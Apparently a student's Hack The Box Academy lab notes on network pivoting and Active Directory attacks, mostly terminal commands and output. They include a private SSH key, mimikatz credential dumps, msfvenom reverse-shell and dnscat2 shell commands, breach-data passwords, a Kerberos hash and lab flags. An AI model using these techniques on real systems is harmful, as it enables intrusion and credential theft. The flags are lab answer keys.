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 -----END OPENSSH PRIVATE KEY----- ┌─[us-academy-2]─[10.10.14.247]─[htb-ac-713396@htb-gxwarb3erc]─[~] └──╼ [★]$ ssh webadmin@10.129.208.79 -i www.rsa webadmin@inlanefreight:~$ for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep \u0026#34;bytes from\u0026#34; \u0026amp;) ;done 64 bytes from 172.16.5.15: icmp_seq=1 ttl=64 time=0.026 ms 64 bytes from 172.16.5.35: icmp_seq=1 ttl=128 time=0.533 ms ┌─[us-academy-2]─[10.10.14.247]─[htb-ac-713396@htb-gxwarb3erc]─[~] └──╼ [★]$ sudo sshuttle -r webadmin@10.129.208.79 172.16.5.0/23 -v --ssh-cmd \u0026#39;ssh -i www.rsa\u0026#39; ┌─[us-academy-2]─[10.10.14.247]─[htb-ac-713396@htb-gxwarb3erc]─[~] └──╼ [★]$ ssh mlefay@172.16.5.35 The authenticity of host \u0026#39;172.16.5.35 (172.16.5.35)\u0026#39; can\u0026#39;t be established. ECDSA key fingerprint is SHA256:eLsiZMYLSL7ZU18y5e5UweyshW/D9MJ2Rq4XuUqO/wc. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added \u0026#39;172.16.5.35\u0026#39; (ECDSA) to the list of known hosts. mlefay@172.16.5.35\u0026#39;s password: Plain Human work! Microsoft Windows [Version 10.0.17763.2628] (c) 2018 Microsoft Corporation. All rights reserved. mlefay@PIVOT-SRV01 C:\\Users\\mlefay\u0026gt; exit ┌─[us-academy-2]─[10.10.14.247]─[htb-ac-713396@htb-gxwarb3erc]─[~] └──╼ [★]$ scp mimikatz.exe mlefay@172.16.5.35:\u0026#34;C:\\\\Users\\\\mlefay\\\\\u0026#34; mlefay@172.16.5.35\u0026#39;s password: Plain Human work! mimikatz.exe 100% 1324KB 7.1MB/s 00:00 mlefay@PIVOT-SRV01 C:\\Users\\mlefay\u0026gt;type C:\\Flag.txt S1ngl3-Piv07-3@sy-Day mlefay@PIVOT-SRV01 C:\\Users\\mlefay\u0026gt;ipconfig Windows IP Configuration Ethernet adapter Ethernet0: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::f084:7265:ec5f:bebe%4 IPv4 Address. . . . . . . . . . . : 172.16.5.35 Subnet Mask . . . . . . . . . . . : 255.255.0.0 Default Gateway . . . . . . . . . : 172.16.5.1 Ethernet adapter Ethernet1 2: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::5d78:ecf:b016:4434%5 IPv4 Address. . . . . . . . . . . : 172.16.6.35 Subnet Mask . . . . . . . . . . . : 255.255.0.0 Default Gateway . . . . . . . . . : mlefay@PIVOT-SRV01 C:\\Users\\mlefay\u0026gt;mimikatz.exe mimikatz # lsadump::secrets Domain : PIVOT-SRV01 SysKey : eeefe7d6277a2ae258b4e571104cc289 Local name : PIVOT-SRV01 ( S-1-5-21-1602415334-2376822715-119304339 ) Domain name : INLANEFREIGHT ( S-1-5-21-3858284412-1730064152-742000644 ) Domain FQDN : INLANEFREIGHT.LOCAL Policy subsystem is : 1.18 LSA Key(s) : 1, default {a4bf8c79-68b8-b086-46df-dc85da69e0c8} [00] {a4bf8c79-68b8-b086-46df-dc85da69e0c8} 39e6b5c93fa7690b499f6e6119a904d2bff37d9ed24d0b61bee460c1a7bd031d Secret : $MACHINE.ACC cur/text: z4PN$Qc?h1n\u0026#39;mI`r\u0026lt;dzJ:-S?dbm.tA:ANPnGG]1h8,Gb[#Gx`SJj3DOBCwhJW^LMUKkPQb!(P9\\\u0026lt;$VDLWL+UL4KDZ\u0026amp;lh^Z_[OEj; Is4= 1GOR+3h\u0026lt;U/a[Q7# NTLM:21ce18b1a025d4b0b01c0e716e99d476 SHA1:0f6097d8c745b1addfdfbbe733c1948e5d929527 old/text: z4PN$Qc?h1n\u0026#39;mI`r\u0026lt;dzJ:-S?dbm.tA:ANPnGG]1h8,Gb[#Gx`SJj3DOBCwhJW^LMUKkPQb!(P9\\\u0026lt;$VDLWL+UL4KDZ\u0026amp;lh^Z_[OEj; Is4= 1GOR+3h\u0026lt;U/a[Q7# NTLM:21ce18b1a025d4b0b01c0e716e99d476 SHA1:0f6097d8c745b1addfdfbbe733c1948e5d929527 Secret : DPAPI_SYSTEM cur/hex : 01 00 00 00 2c 1b ed 0e 34 6a f0 6d 64 c3 2d cf d1 08 d8 fb 3a f1 e3 53 8a 88 8d cf 7b ec c6 9d 40 6 5 ca f2 6b 6a 53 4a b1 60 14 4c full: 2c1bed0e346af06d64c32dcfd108d8fb3af1e3538a888dcf7becc69d4065caf26b6a534ab160144c m/u : 2c1bed0e346af06d64c32dcfd108d8fb3af1e353 / 8a888dcf7becc69d4065caf26b6a534ab160144c old/hex : 01 00 00 00 51 9c 86 b4 cb dc 97 8b 35 9b c0 39 17 34 16 62 31 98 c1 07 ce 7d 9f 94 fc e7 2c d9 59 8 a c6 07 10 78 7c 0d 9a 56 ce 0b full: 519c86b4cbdc978b359bc039173416623198c107ce7d9f94fce72cd9598ac60710787c0d9a56ce0b m/u : 519c86b4cbdc978b359bc039173416623198c107 / ce7d9f94fce72cd9598ac60710787c0d9a56ce0b Secret : NL$KM cur/hex : a2 52 9d 31 0b b7 1c 75 45 d6 4b 76 41 2d d3 21 c6 5c dd 04 24 d3 07 ff ca 5c f4 e5 a0 38 94 14 91 6 4 fa c7 91 d2 0e 02 7a d6 52 53 b4 f4 a9 6f 58 ca 76 00 dd 39 01 7d c5 f7 8f 4b ab 1e dc 63 old/hex : a2 52 9d 31 0b b7 1c 75 45 d6 4b 76 41 2d d3 21 c6 5c dd 04 24 d3 07 ff ca 5c f4 e5 a0 38 94 14 91 6 4 fa c7 91 d2 0e 02 7a d6 52 53 b4 f4 a9 6f 58 ca 76 00 dd 39 01 7d c5 f7 8f 4b ab 1e dc 63 Secret : _SC_DHCPServer / service \u0026#39;DHCPServer\u0026#39; with username : INLANEFREIGHT\\vfrank cur/text: Imply wet Unmasked! old/text: Imply wet Unmasked! Secret : _SC_SCardSvr / service \u0026#39;SCardSvr\u0026#39; with username : INLANEFREIGHT\\vfrank cur/text: Imply wet Unmasked! mimikatz #exit mlefay@PIVOT-SRV01 C:\\Users\\mlefay\u0026gt;for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find \u0026#34;Reply\u0026#34; ... SNIP ... mlefay@PIVOT-SRV01 C:\\Users\\mlefay\u0026gt;ping 172.16.6.35 -n 1 -w 100 | find \u0026#34;Reply\u0026#34; Reply from 172.16.6.35: bytes=32 time\u0026lt;1ms TTL=128 172.16.5.35 - C:\\Flag.txt: S1ngl3-Piv07-3@sy-Day\nFound: INLANEFREIGHT\\vfrank:Imply wet Unmasked! and the IP 172.16.6.35\nC:\\Users\\vfrank\u0026gt;for /L %i in (1 1 254) do ping 172.16.6.%i -n 1 -w 100 | find \u0026#34;Reply\u0026#34; ... C:\\Users\\vfrank\u0026gt;ping 172.16.6.25 -n 1 -w 100 | find \u0026#34;Reply\u0026#34; Reply from 172.16.6.25: bytes=32 time\u0026lt;1ms TTL=128 ... C:\\Users\\vfrank\u0026gt;ping 172.16.6.35 -n 1 -w 100 | find \u0026#34;Reply\u0026#34; Reply from 172.16.6.35: bytes=32 time\u0026lt;1ms TTL=128 ... C:\\Users\\vfrank\u0026gt;ping 172.16.6.45 -n 1 -w 100 | find \u0026#34;Reply\u0026#34; Reply from 172.16.6.45: bytes=32 time=1ms TTL=64 ┌─[us-academy-2]─[10.10.14.247]─[htb-ac-713396@htb-zjez6mclrz]─[~] └──╼ [★]$ proxychains xfreerdp /v:172.16.6.25 /u:\u0026#34;INLANEFREIGHT\\vfrank\u0026#34; /p:\u0026#34;Imply wet Unmasked!\u0026#34; C:\\Users\\vfrank\u0026gt;type C:\\\\Flag.txt N3tw0rk-H0pp1ng-f0R-FuN C:\\Users\\vfrank\u0026gt;ipconfig Windows IP Configuration Ethernet adapter Ethernet0 2: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::d05f:823d:172b:595%9 IPv4 Address. . . . . . . . . . . : 172.16.6.25 Subnet Mask . . . . . . . . . . . : 255.255.0.0 Default Gateway . . . . . . . . . : 172.16.6.1 Ethernet adapter Ethernet1 2: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::cd46:a4fe:f119:c745%4 IPv4 Address. . . . . . . . . . . : 172.16.10.25 Subnet Mask . . . . . . . . . . . : 255.255.0.0 Default Gateway . . . . . . . . . : C:\\Users\\vfrank\u0026gt;for /L %i in (1 1 254) do ping 172.16.10.%i -n 1 -w 100 | find \u0026#34;Reply\u0026#34; ... C:\\Users\\vfrank\u0026gt;ping 172.16.10.5 -n 1 -w 100 | find \u0026#34;Reply\u0026#34; Reply from 172.16.10.5: bytes=32 time\u0026lt;1ms TTL=128 172.16.6.25 - C:\\Flag.txt: N3tw0rk-H0pp1ng-f0R-FuN\nCheatsheet Command Description ifconfig Linux-based command that displays all current network configurations of a system. ipconfig Windows-based command that displays all system network configurations. netstat -r Command used to display the routing table for all IPv4-based protocols. nmap -sT -p22,3306 \u0026lt;IPaddressofTarget\u0026gt; Nmap command used to scan a target for open ports allowing SSH or MySQL connections. ssh -L 1234:localhost:3306 Ubuntu@\u0026lt;IPaddressofTarget\u0026gt; SSH comand used to create an SSH tunnel from a local machine on local port 1234 to a remote target using port 3306. netstat -antp | grep 1234 Netstat option used to display network connections associated with a tunnel created. Using grep to filter based on local port 1234. nmap -v -sV -p1234 localhost Nmap command used to scan a host through a connection that has been made on local port 1234. ssh -L 1234:localhost:3306 8080:localhost:80 ubuntu@\u0026lt;IPaddressofTarget\u0026gt; SSH command that instructs the ssh client to request the SSH server forward all data via port 1234 to localhost:3306. ssh -D 9050 ubuntu@\u0026lt;IPaddressofTarget\u0026gt; SSH command used to perform a dynamic port forward on port 9050 and establishes an SSH tunnel with the target. This is part of setting up a SOCKS proxy. tail -4 /etc/proxychains.conf Linux-based command used to display the last 4 lines of /etc/proxychains.conf. Can be used to ensure socks configurations are in place. proxychains nmap -v -sn 172.16.5.1-200 Used to send traffic generated by an Nmap scan through Proxychains and a SOCKS proxy. Scan is performed against the hosts in the specified range 172.16.5.1-200 with increased verbosity (-v) disabling ping scan (-sn). proxychains nmap -v -Pn -sT 172.16.5.19 Used to send traffic generated by an Nmap scan through Proxychains and a SOCKS proxy. Scan is performed against 172.16.5.19 with increased verbosity (-v), disabling ping discover (-Pn), and using TCP connect scan type (-sT). proxychains msfconsole Uses Proxychains to open Metasploit and send all generated network traffic through a SOCKS proxy. msf6 \u0026gt; search rdp_scanner Metasploit search that attempts to find a module called rdp*scanner. proxychains xfreerdp /v:\u0026lt;IPaddressofTarget\u0026gt; /u:victor /p:pass@123 Used to connect to a target using RDP and a set of credentials using proxychains. This will send all traffic through a SOCKS proxy. msfvenom -p windows/x64/meterpreter/reverse_https lhost= \u0026lt;InteralIPofPivotHost\u0026gt; -f exe -o backupscript.exe LPORT=8080 Uses msfvenom to generate a Windows-based reverse HTTPS Meterpreter payload that will send a call back to the IP address specified following lhost= on local port 8080 (LPORT=8080). Payload will take the form of an executable file called backupscript.exe. msf6 \u0026gt; use exploit/multi/handler Used to select the multi-handler exploit module in Metasploit. scp backupscript.exe ubuntu@\u0026lt;ipAddressofTarget\u0026gt;:~/ Uses secure copy protocol (scp) to transfer the file backupscript.exe to the specified host and places it in the Ubuntu user\u0026rsquo;s home directory (:~/). python3 -m http.server 8123 Uses Python3 to start a simple HTTP server listening on port 8123. Can be used to retrieve files from a host. Invoke-WebRequest -Uri \u0026quot;http://172.16.5.129:8123/backupscript.exe\u0026quot; -OutFile \u0026quot;C:\\backupscript.exe\u0026quot; PowerShell command used to download a file called backupscript.exe from a webserver (172.16.5.129:8123) and then save the file to location specified after -OutFile. ssh -R \u0026lt;InternalIPofPivotHost\u0026gt;:8080:0.0.0.0:80 ubuntu@\u0026lt;ipAddressofTarget\u0026gt; -vN SSH command used to create a reverse SSH tunnel from a target to an attack host. Traffic is forwarded on port 8080 on the attack host to port 80 on the target. msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=\u0026lt;IPaddressofAttackHost -f elf -o backupjob LPORT=8080 Uses msfveom to generate a Linux-based Meterpreter reverse TCP payload that calls back to the IP specified after LHOST= on port 8080 (LPORT=8080). Payload takes the form of an executable elf file called backupjob. msf6\u0026gt; run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23 Metasploit command that runs a ping sweep module against the specified network segment (RHOSTS=172.16.5.0/23). for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep \u0026quot;bytes from\u0026quot; \u0026amp;) ;done For Loop used on a Linux-based system to discover devices in a specified network segment. for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find \u0026quot;Reply\u0026quot; For Loop used on a Windows-based system to discover devices in a specified network segment. 1..254 | % {\u0026quot;172.16.5.$($*): $(Test-Connection -count 1 -comp 172.15.5.$($\\_) -quiet)\u0026quot;} PowerShell one-liner used to ping addresses 1 - 254 in the specified network segment. msf6 \u0026gt; use auxiliary/server socks_proxy Metasploit command that selects the socks_proxy auxiliary module. msf6 auxiliary(server/socks_proxy) \u0026gt; jobs Metasploit command that lists all currently running jobs. socks4 127.0.0.1 9050 Line of text that should be added to /etc/proxychains.conf to ensure a SOCKS version 4 proxy is used in combination with proxychains on the specified IP address and port. Socks5 127.0.0.1 1080 Line of text that should be added to /etc/proxychains.conf to ensure a SOCKS version 5 proxy is used msf6 \u0026gt; use post/multi/manage/autoroute Metasploit command used to select the autoroute module. meterpreter \u0026gt; help portfwd Meterpreter command used to display the features of the portfwd command. meterpreter \u0026gt; portfwd add -l 3300 -p 3389 -r \u0026lt;IPaddressofTarget\u0026gt; Meterpreter-based portfwd command that adds a forwarding rule to the current Meterpreter session. This rule forwards network traffic on port 3300 on the local machine to port 3389 (RDP) on the target. xfreerdp /v:localhost:3300 /u:victor /p:pass@123 Uses xfreerdp to connect to a remote host through localhost:3300 using a set of credentials. Port forwarding rules must be in place for this to work properly. netstat -antp Used to display all (-a) active network connections with associated process IDs. -t displays only TCP connections.-n displays only numerical addresses. -p displays process IDs associated with each displayed connection. meterpreter \u0026gt; portfwd add -R -l 8081 -p 1234 -L \u0026lt;IPaddressofAttackHost\u0026gt; Meterpreter-based portfwd command that adds a forwarding rule that directs traffic coming on on port 8081 to the port 1234 listening on the IP address of the Attack Host. meterpreter \u0026gt; bg Meterpreter-based command used to run the selected metepreter session in the background. Similar to background a process in Linux socat TCP4-LISTEN:8080,fork TCP4:\u0026lt;IPaddressofAttackHost\u0026gt;:80 Uses Socat to listen on port 8080 and then to fork when the connection is received. It will then connect to the attack host on port 80. socat TCP4-LISTEN:8080,fork TCP4:\u0026lt;IPaddressofTarget\u0026gt;:8443 Uses Socat to listen on port 8080 and then to fork when the connection is received. Then it will connect to the target host on port 8443. plink -D 9050 ubuntu@\u0026lt;IPaddressofTarget\u0026gt; Windows-based command that uses PuTTY\u0026rsquo;s Plink.exe to perform SSH dynamic port forwarding and establishes an SSH tunnel with the specified target. This will allow for proxy chaining on a Windows host, similar to what is done with Proxychains on a Linux-based host. sudo apt-get install sshuttle Uses apt-get to install the tool sshuttle. sudo sshuttle -r ubuntu@10.129.202.64 172.16.5.0 -v Runs sshuttle, connects to the target host, and creates a route to the 172.16.5.0 network so traffic can pass from the attack host to hosts on the internal network (172.16.5.0). sudo git clone https://github.com/klsecservices/rpivot.git Clones the rpivot project GitHub repository. sudo apt-get install python2.7 Uses apt-get to install python2.7. python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0 Used to run the rpivot server (server.py) on proxy port 9050, server port 9999 and listening on any IP address (0.0.0.0). scp -r rpivot ubuntu@\u0026lt;IPaddressOfTarget\u0026gt; Uses secure copy protocol to transfer an entire directory and all of its contents to a specified target. python2.7 client.py --server-ip 10.10.14.18 --server-port 9999 Used to run the rpivot client (client.py) to connect to the specified rpivot server on the appropriate port. proxychains firefox-esr \u0026lt;IPaddressofTargetWebServer\u0026gt;:80 Opens firefox with Proxychains and sends the web request through a SOCKS proxy server to the specified destination web server. python client.py --server-ip \u0026lt;IPaddressofTargetWebServer\u0026gt; --server-port 8080 --ntlm-proxy-ip IPaddressofProxy\u0026gt; --ntlm-proxy-port 8081 --domain \u0026lt;nameofWindowsDomain\u0026gt; --username \u0026lt;username\u0026gt; --password \u0026lt;password\u0026gt; Use to run the rpivot client to connect to a web server that is using HTTP-Proxy with NTLM authentication. netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.42.198 connectport=3389 connectaddress=172.16.5.25 Windows-based command that uses netsh.exe to configure a portproxy rule called v4tov4 that listens on port 8080 and forwards connections to the destination 172.16.5.25 on port 3389. netsh.exe interface portproxy show v4tov4 Windows-based command used to view the configurations of a portproxy rule called v4tov4. git clone https://github.com/iagox86/dnscat2.git Clones the dnscat2 project GitHub repository. sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cache Used to start the dnscat2.rb server running on the specified IP address, port (53) \u0026amp; using the domain inlanefreight.local with the no-cache option enabled. git clone https://github.com/lukebaggett/dnscat2-powershell.git Clones the dnscat2-powershell project Github repository. Import-Module dnscat2.ps1 PowerShell command used to import the dnscat2.ps1 tool. Start-Dnscat2 -DNSserver 10.10.14.18 -Domain inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -Exec cmd PowerShell command used to connect to a specified dnscat2 server using a IP address, domain name and preshared secret. The client will send back a shell connection to the server (-Exec cmd). dnscat2\u0026gt; ? Used to list dnscat2 options. dnscat2\u0026gt; window -i 1 Used to interact with an established dnscat2 session. ./chisel server -v -p 1234 --socks5 Used to start a chisel server in verbose mode listening on port 1234 using SOCKS version 5. ./chisel client -v 10.129.202.64:1234 socks Used to connect to a chisel server at the specified IP address \u0026amp; port using socks git clone https://github.com/utoni/ptunnel-ng.git Clones the ptunnel-ng project GitHub repository. sudo ./autogen.sh Used to run the autogen.sh shell script that will build the necessary ptunnel-ng files. sudo ./ptunnel-ng -r10.129.202.64 -R22 Used to start the ptunnel-ng server on the specified IP address (-r) and corresponding port (-R22). sudo ./ptunnel-ng -p10.129.202.64 -l2222 -r10.129.202.64 -R22 Used to connect to a specified ptunnel-ng server through local port 2222 (-l2222). ssh -p2222 -lubuntu 127.0.0.1 SSH command used to connect to an SSH server through a local port. This can be used to tunnel SSH traffic through an ICMP tunnel. regsvr32.exe SocksOverRDP-Plugin.dll Windows-based command used to register the SocksOverRDP-PLugin.dll. netstat -antb | findstr 1080 Windows-based command used to list TCP network connections listening on port 1080. Completion Link of Completion\nActive Directory Enumeration \u0026amp; Attacks Scenario In Scope\nRange/Domain Description INLANEFREIGHT.LOCAL Customer domain to include AD and web services. LOGISTICS.INLANEFREIGHT.LOCAL Customer subdomain FREIGHTLOGISTICS.LOCAL Subsidiary company owned by Inlanefreight. External forest trust with INLANEFREIGHT.LOCAL 172.16.5.0/23 In-scope internal subnet. Out of Scope\nAny other subdomains of INLANEFREIGHT.LOCAL Any subdomains of FREIGHTLOGISTICS.LOCAL Any phishing or social engineering attacks Any other IPS/domains/subdomains not explicitly mentioned Any types of attacks against the real-world inlanefreight.com website outside of passive enumeration shown in this module External Recon and Enumeration Principles Data Point Description IP Space Valid ASN for our target, netblocks in use for the organization\u0026rsquo;s public-facing infrastructure, cloud presence and the hosting providers, DNS record entries, etc. Domain Information Based on IP data, DNS, and site registrations. Who administers the domain? Are there any subdomains tied to our target? Are there any publicly accessible domain services present? (Mailservers, DNS, Websites, VPN portals, etc.) Can we determine what kind of defenses are in place? (SIEM, AV, IPS/IDS in use, etc.) Schema Format Can we discover the organization\u0026rsquo;s email accounts, AD usernames, and even password policies? Anything that will give us information we can use to build a valid username list to test external-facing services for password spraying, credential stuffing, brute forcing, etc. Data Disclosures For data disclosures we will be looking for publicly accessible files ( .pdf, .ppt, .docx, .xlsx, etc. ) for any information that helps shed light on the target. For example, any published files that contain intranet site listings, user metadata, shares, or other critical software or hardware in the environment (credentials pushed to a public GitHub repo, the internal AD username format in the metadata of a PDF, for example.) Breach Data Any publicly released usernames, passwords, or other critical information that can help an attacker gain a foothold. Resource Examples ASN / IP registrars IANA, arin for searching the Americas, RIPE for searching in Europe, BGP Toolkit Domain Registrars \u0026amp; DNS Domaintools, PTRArchive, ICANN, manual DNS record requests against the domain in question or against well known DNS servers, such as 8.8.8.8. Social Media Searching Linkedin, Twitter, Facebook, your region\u0026rsquo;s major social media sites, news articles, and any relevant info you can find about the organization. Public-Facing Company Websites Often, the public website for a corporation will have relevant info embedded. News articles, embedded documents, and the \u0026ldquo;About Us\u0026rdquo; and \u0026ldquo;Contact Us\u0026rdquo; pages can also be gold mines. Cloud \u0026amp; Dev Storage Spaces GitHub, AWS S3 buckets \u0026amp; Azure Blog storage containers, Google searches using \u0026ldquo;Dorks\u0026rdquo; Breach Data Sources HaveIBeenPwned to determine if any corporate email accounts appear in public breach data, Dehashed to search for corporate emails with cleartext passwords or hashes we can try to crack offline. We can then try these passwords against any exposed login portals (Citrix, RDS, OWA, 0365, VPN, VMware Horizon, custom applications, etc.) that may use AD authentication. LOOT\nIP Address: 134.209.24.248 Mail Server: mail1.inlanefreight.com Nameservers: NS1.inlanefreight.com \u0026amp; NS2.inlanefreight.com woadey@htb[/htb]$ sudo python3 dehashed.py -q inlanefreight.local -p id : 5996447501 email : roger.grimes@inlanefreight.local username : rgrimes password : Ilovefishing! hashed_password : name : Roger Grimes vin : address : phone : database_name : ModBSolutions id : 7344467234 email : jane.yu@inlanefreight.local username : jyu password : Starlight1982_! hashed_password : name : Jane Yu vin : address : phone : database_name : MyFitnessPal Initial Enumeration LOOT Hosts:\n172.16.5.5 (ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL) 172.16.5.25 172.16.5.50 172.16.5.100 (ACADEMY-EA-CTX1.INLANEFREIGHT.LOCAL) 172.16.5.125 172.16.5.200 172.16.5.225 172.16.5.238 172.16.5.240 ┌─[✗]─[htb-student@ea-attack01]─[~] └──╼ $kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt -o users.txt __ __ __ / /_____ _____/ /_ _______ __/ /____ / //_/ _ \\/ ___/ __ \\/ ___/ / / / __/ _ \\ / ,\u0026lt; / __/ / / /_/ / / / /_/ / /_/ __/ /_/|_|\\___/_/ /_.___/_/ \\__,_/\\__/\\___/ Version: dev (9cfb81e) - 03/30/24 - Ronnie Flathers @ropnop 2024/03/30 20:24:55 \u0026gt; Using KDC(s): 2024/03/30 20:24:55 \u0026gt; 172.16.5.5:88 2024/03/30 20:24:55 \u0026gt; [+] VALID USERNAME:\tjjones@inlanefreight.local 2024/03/30 20:24:55 \u0026gt; [+] VALID USERNAME:\tsbrown@inlanefreight.local 2024/03/30 20:24:55 \u0026gt; [+] VALID USERNAME:\ttjohnson@inlanefreight.local 2024/03/30 20:24:55 \u0026gt; [+] VALID USERNAME:\tjwilson@inlanefreight.local 2024/03/30 20:24:55 \u0026gt; [+] VALID USERNAME:\tbdavis@inlanefreight.local 2024/03/30 20:24:55 \u0026gt; [+] VALID USERNAME:\tnjohnson@inlanefreight.local 2024/03/30 20:24:55 \u0026gt; [+] VALID USERNAME:\tasanchez@inlanefreight.local 2024/03/30 20:24:55 \u0026gt; [+] VALID USERNAME:\tdlewis@inlanefreight.local 2024/03/30 20:24:55 \u0026gt; [+] VALID USERNAME:\tccruz@inlanefreight.local 2024/03/30 20:24:55 \u0026gt; [+] mmorgan has no pre auth required. Dumping hash to crack offline: $krb5asrep$23$mmorgan@INLANEFREIGHT.LOCAL:71fe08c6abb69e7c4771d1402401ddaa$a83a808e1db12acb074905bb1b471bf5852a40bc63a6b0f869f5a094ef6c046159802fd90cb313b22eb1f8b8ad1a039710a4f354e6fc77541dacfef164b19b321b7882e82e6cc226b2805c50e3e15115fdbe07b43b0b035ac85dc0b33cc489263999433b88725152114e3bc01d2321b879e04c31277a316aac44808d8aaaa6bfabcdb153d83b2c2cc68ef3e2b7005e3cb390fbc45ed557e6a5d80699fe9f9761558ac6f216f9dddfe2c4e7162389f72eadc3f696a8952bbac270fc0360fe832ec791df58e27f428da47ed4b1b0165d3a4f91ba99fe2d9c96b1b1c4a160da332abd1b58a155b08cf8bcfc9f97c84fcc5ebb7144402ce062562e5171fa32fa7ee4f4fcfcc9672f856ac53d 2024/03/30 20:24:55 \u0026gt; [+] VALID USERNAME:\tmmorgan@inlanefreight.local 2024/03/30 20:24:55 \u0026gt; [+] VALID USERNAME:\trramirez@inlanefreight.local 2024/03/30 20:24:55 \u0026gt; [+] VALID USERNAME:\tjwallace@inlanefreight.local 2024/03/30 20:24:55 \u0026gt; [+] VALID USERNAME:\tjsantiago@inlanefreight.local 2024/03/30 20:24:55 \u0026gt; [+] VALID USERNAME:\tgdavis@inlanefreight.local 2024/03/30 20:24:55 \u0026gt; [+] VALID USERNAME:\tmrichardson@inlanefreight.local 2024/03/30 20:24:55 \u0026gt; [+] VALID USERNAME:\tmharrison@inlanefreight.local 2024/03/30 